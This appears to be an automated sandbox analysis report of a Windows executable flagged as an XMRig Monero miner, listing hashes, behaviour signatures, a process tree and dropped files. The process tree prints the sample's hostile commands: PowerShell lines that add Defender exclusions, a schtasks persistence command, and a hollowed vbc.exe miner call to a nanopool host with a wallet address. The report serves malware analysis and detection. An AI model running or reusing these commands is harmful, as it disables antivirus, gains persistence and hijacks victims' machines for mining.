Analysis

  • max time kernel
    94s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2022, 07:49

General

  • Target

    2637eb34ee0e5131f80452b12bbdddba.exe

  • Size

    2.0MB

  • MD5

    2637eb34ee0e5131f80452b12bbdddba

  • SHA1

    39305d513cffc1bf6b8a20cdd912532ade05a7ed

  • SHA256

    9e6f702e49e2effdc3470632184a8ceb8bcd1eb60b85293114ce61fef8f8b4c7

  • SHA512

    0b58c9bf00dafb5b3474da0cf7c8bac45ed8f3ebefbea161c468b87c37d43a904144f56a9c771c519258c17fc7ee8faea129fd3cb7dc8113fa87c113d425ee4b

  • SSDEEP

    49152:cpFtPeFTefWNTt0dYMuZDGmA9MUy41+hrDy:cpWeulpZa/l1m2

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2637eb34ee0e5131f80452b12bbdddba.exe
    "C:\Users\Admin\AppData\Local\Temp\2637eb34ee0e5131f80452b12bbdddba.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4424
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1028
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1112
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5B63.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:668
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:2500
      • C:\ProgramData\cloud\GAPOSUR.exe
        "C:\ProgramData\cloud\GAPOSUR.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2272
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3724
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "GAPOSUR" /tr "C:\ProgramData\cloud\GAPOSUR.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1988
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "GAPOSUR" /tr "C:\ProgramData\cloud\GAPOSUR.exe"
            5⤵
            • Creates scheduled task(s)
            PID:3420
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3368

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\cloud\GAPOSUR.exe

          Filesize

          2.0MB

          MD5

          2637eb34ee0e5131f80452b12bbdddba

          SHA1

          39305d513cffc1bf6b8a20cdd912532ade05a7ed

          SHA256

          9e6f702e49e2effdc3470632184a8ceb8bcd1eb60b85293114ce61fef8f8b4c7

          SHA512

          0b58c9bf00dafb5b3474da0cf7c8bac45ed8f3ebefbea161c468b87c37d43a904144f56a9c771c519258c17fc7ee8faea129fd3cb7dc8113fa87c113d425ee4b

        • C:\ProgramData\cloud\GAPOSUR.exe

          Filesize

          2.0MB

          MD5

          2637eb34ee0e5131f80452b12bbdddba

          SHA1

          39305d513cffc1bf6b8a20cdd912532ade05a7ed

          SHA256

          9e6f702e49e2effdc3470632184a8ceb8bcd1eb60b85293114ce61fef8f8b4c7

          SHA512

          0b58c9bf00dafb5b3474da0cf7c8bac45ed8f3ebefbea161c468b87c37d43a904144f56a9c771c519258c17fc7ee8faea129fd3cb7dc8113fa87c113d425ee4b

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          77d622bb1a5b250869a3238b9bc1402b

          SHA1

          d47f4003c2554b9dfc4c16f22460b331886b191b

          SHA256

          f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

          SHA512

          d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          77d622bb1a5b250869a3238b9bc1402b

          SHA1

          d47f4003c2554b9dfc4c16f22460b331886b191b

          SHA256

          f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

          SHA512

          d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          f41f42c322498af0591f396c59dd4304

          SHA1

          e1e5aa68d73d48bc5e743a34f6c0fa8960ff7514

          SHA256

          d8bd9a4a363ff2ac2dc887759ec6ba4215a4ce0925a8fb9c531573458ee4a31c

          SHA512

          2328a1b402b4fb0de9c451fb630eab58549129d3bcfb70b9834cfbd16065ebaadec006b309ea17ac182d34c53e01705cbc9e0196eb0cbd62600c866e79a1844f

        • C:\Users\Admin\AppData\Local\Temp\tmp5B63.tmp.bat

          Filesize

          141B

          MD5

          238cc86d424eddae03e0215fc294dad3

          SHA1

          a0caa068fc4d565feab3c9d9bae7fb0a69f81ca3

          SHA256

          8196a268e7c41fa4d8e14670e3b81b33357d1746631e7faa11b1ab7c1b7a5d80

          SHA512

          47c94bc0cf9d6ae4ee956c986dbcc3347cc5521400c1f9614be39c26871f61e21d0240a3e989ef6e3f8107ff40e284884a53938f922628670ca514587045b8d3

        • memory/1028-156-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/1028-151-0x000002C24AA00000-0x000002C24AA22000-memory.dmp

          Filesize

          136KB

        • memory/1112-157-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/1808-170-0x00007FF9C5A70000-0x00007FF9C5A9B000-memory.dmp

          Filesize

          172KB

        • memory/1808-171-0x0000000000370000-0x00000000005CE000-memory.dmp

          Filesize

          2.4MB

        • memory/1808-201-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/1808-200-0x0000000000370000-0x00000000005CE000-memory.dmp

          Filesize

          2.4MB

        • memory/1808-197-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/1808-196-0x0000000002B20000-0x0000000002B63000-memory.dmp

          Filesize

          268KB

        • memory/1808-195-0x0000000000370000-0x00000000005CE000-memory.dmp

          Filesize

          2.4MB

        • memory/1808-188-0x00007FF9C4460000-0x00007FF9C449B000-memory.dmp

          Filesize

          236KB

        • memory/1808-186-0x00007FF9C7800000-0x00007FF9C786B000-memory.dmp

          Filesize

          428KB

        • memory/1808-184-0x00007FF9A3D70000-0x00007FF9A3E72000-memory.dmp

          Filesize

          1.0MB

        • memory/1808-183-0x00007FF9A3D30000-0x00007FF9A3D65000-memory.dmp

          Filesize

          212KB

        • memory/1808-181-0x00007FF9C5090000-0x00007FF9C50B7000-memory.dmp

          Filesize

          156KB

        • memory/1808-177-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/1808-172-0x00007FF9AA000000-0x00007FF9AA14E000-memory.dmp

          Filesize

          1.3MB

        • memory/1808-162-0x00007FF9AAE60000-0x00007FF9AAF0A000-memory.dmp

          Filesize

          680KB

        • memory/1808-163-0x00007FF9C7760000-0x00007FF9C77FE000-memory.dmp

          Filesize

          632KB

        • memory/1808-164-0x00007FF9C2FB0000-0x00007FF9C2FC2000-memory.dmp

          Filesize

          72KB

        • memory/1808-165-0x00007FF9AADA0000-0x00007FF9AAE5D000-memory.dmp

          Filesize

          756KB

        • memory/1808-166-0x00007FF9C6A10000-0x00007FF9C6BB1000-memory.dmp

          Filesize

          1.6MB

        • memory/1808-168-0x0000000000370000-0x00000000005CE000-memory.dmp

          Filesize

          2.4MB

        • memory/1808-167-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/1808-169-0x0000000002B20000-0x0000000002B63000-memory.dmp

          Filesize

          268KB

        • memory/2272-185-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/2272-179-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/3368-199-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/3368-203-0x000001EFC6E10000-0x000001EFC6E30000-memory.dmp

          Filesize

          128KB

        • memory/3368-202-0x000001EFC6DF0000-0x000001EFC6E10000-memory.dmp

          Filesize

          128KB

        • memory/3368-204-0x000001EFC6DF0000-0x000001EFC6E10000-memory.dmp

          Filesize

          128KB

        • memory/3368-205-0x000001EFC6E10000-0x000001EFC6E30000-memory.dmp

          Filesize

          128KB

        • memory/3368-198-0x000001EFC6DB0000-0x000001EFC6DF0000-memory.dmp

          Filesize

          256KB

        • memory/3368-194-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/3368-193-0x000001EFC6D60000-0x000001EFC6D80000-memory.dmp

          Filesize

          128KB

        • memory/3368-192-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/3368-191-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/3368-189-0x0000000140000000-0x00000001407C9000-memory.dmp

          Filesize

          7.8MB

        • memory/3724-178-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/3724-187-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/4424-143-0x00007FF9AA000000-0x00007FF9AA14E000-memory.dmp

          Filesize

          1.3MB

        • memory/4424-133-0x00007FF9AAE60000-0x00007FF9AAF0A000-memory.dmp

          Filesize

          680KB

        • memory/4424-139-0x00007FF9C6A10000-0x00007FF9C6BB1000-memory.dmp

          Filesize

          1.6MB

        • memory/4424-137-0x0000000000E00000-0x000000000105E000-memory.dmp

          Filesize

          2.4MB

        • memory/4424-142-0x0000000000E00000-0x000000000105E000-memory.dmp

          Filesize

          2.4MB

        • memory/4424-138-0x0000000001460000-0x00000000014A3000-memory.dmp

          Filesize

          268KB

        • memory/4424-150-0x0000000000E00000-0x000000000105E000-memory.dmp

          Filesize

          2.4MB

        • memory/4424-134-0x00007FF9C7760000-0x00007FF9C77FE000-memory.dmp

          Filesize

          632KB

        • memory/4424-140-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/4424-149-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/4424-148-0x0000000001460000-0x00000000014A3000-memory.dmp

          Filesize

          268KB

        • memory/4424-136-0x00007FF9AADA0000-0x00007FF9AAE5D000-memory.dmp

          Filesize

          756KB

        • memory/4424-144-0x00007FF9A9160000-0x00007FF9A9C21000-memory.dmp

          Filesize

          10.8MB

        • memory/4424-135-0x00007FF9C2FB0000-0x00007FF9C2FC2000-memory.dmp

          Filesize

          72KB

        • memory/4424-141-0x00007FF9C5A70000-0x00007FF9C5A9B000-memory.dmp

          Filesize

          172KB